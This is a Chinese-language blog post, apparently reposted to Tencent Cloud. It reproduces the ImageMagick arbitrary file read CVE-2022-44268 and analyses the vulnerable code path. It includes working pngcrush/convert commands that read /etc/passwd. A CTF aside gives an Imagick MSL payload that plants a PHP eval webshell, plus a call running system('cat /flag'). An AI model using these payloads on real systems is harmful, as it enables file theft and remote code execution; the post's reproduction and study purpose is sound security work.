前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2022-44268 ImageMagick任意文件读取漏洞

CVE-2022-44268 ImageMagick任意文件读取漏洞

作者头像
Y1ng
发布2023-03-08 10:42:05
1.6K0
发布2023-03-08 10:42:05
举报
文章被收录于专栏:颖奇L'Amore颖奇L'Amore

前言

我平时基本不单独发一些漏洞复现的文章,除非觉得很有学习意义。ImageMagick这个属于特例,因为还是蛮有影响的,包括我司的许多产品实际上都是使用ImageMagick作为底层能力,之前有出现过因为Ghostscript的RCE 0day导致使用了ImageMagick的业务可以被RCE,每次出现新漏洞都要紧急排查和修复一波。

漏洞信息

介绍

ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。

ImageMagick在解析包含特定格式的路径的PNG图片时,会发生文件读取的行为(也可DoS,编号CVE-2022-44267)。

PoC

https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC

复现

我根据PoC做了一个复现的Docker,拉下来就能直接用,省去了自己复现。详见:https://github.com/y1nglamore/CVE-2022-44268-ImageMagick-Vulnerable-Docker-Environment

启动容器:

代码语言:javascript
复制
docker pull y1nglamore/cve_2022_44268:latest 
docker run --rm -i -t y1nglamore/cve_2022_44268 /bin/bash

然后执行./run.sh FILEPATH进行任意文件读取

如果不给参数,默认./run.sh会读/etc/passwd

当然也可以手工执行:

代码语言:javascript
复制
pngcrush -text a "profile" "/etc/passwd" 1.png
exiv2 -pS pngout.png
convert pngout.png gopro.png

identify -verbose gopro.png

漏洞分析

漏洞作者的分析:https://www.metabaseq.com/imagemagick-zero-days/ metabaseq的文章可以说非常透彻了,只不过是英文的,于是这里我就主要翻(chao)译(xi)一些核心的流程

攻击者可以向PNG图片添加一个文本块类型,比如tEXt,这些类型由一个「关键字」和一个「文本字符串」构成。如果「关键字」是profile,那么ImageMagick就把「文本字符串」当做一个路径,并读取对应文件内容作为profile,文件内容以HEX形式嵌入新生成的PNG图片,攻击者下载新的图片就可以拿到读取的文件内容了。

首先是读取PNG文件 ReadOnePNGImage() (coders/png.c:2164)

之后遇到tEXt类型,就会读取对应的tEXt chunk,读取过程中会走到SetImageProfile() (MagickCore/property.c:4360)

SetImageProfile()中,如果匹配到关键字profile,就会做文件读取,结果返回赋值到profile变量

读取成功后,profile变量(也就是携带了文件内容的一个结构体)被写入新的生成的PNG文件中

然后攻击者下载新的PNG,就可以拿到对应文件的文件内容了。

图解版:

插播:ImageMagick相关的CTF题目

想起来一道ImageMagick的one line php题目,和这个洞倒是没关系,觉得还蛮不错的

代码语言:javascript
复制
<?php
@new $_GET[1]($_GET[2]);

本质是任意类实例化,可以SplFileObject读文件之类的,本题目使用ImageMagick扩展实现RCE

准备1.xml

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="caption:<?php @eval($_GET['a']); ?>" />
 <write filename="info:/var/www/html/swarm.php" />
</image>

1.html

代码语言:javascript
复制
<html>
<body> 
    <form action="http://y1ng.vip/?1=Imagick&2=vid:msl:/tmp/php*" method="POST" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" value="upload" name="submit">
    </form>
</body>
</html>

然后用1.html上传1.xml,即可得到一个webshell http://y1ng.vip/swarm.php?a=system('cat /flag'); 当然前提是网站根目录可写

Reference

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-02-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言▸
  • 漏洞信息▸
    • 介绍▸
      • PoC▸
        • 复现▸
        • 漏洞分析▸
        • 插播:ImageMagick相关的CTF题目▸
        • Reference▸
        相关产品与服务
        图像处理
        图像处理基于腾讯云深度学习等人工智能技术,提供综合性的图像优化处理服务,包括图像质量评估、图像清晰度增强、图像智能裁剪等。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档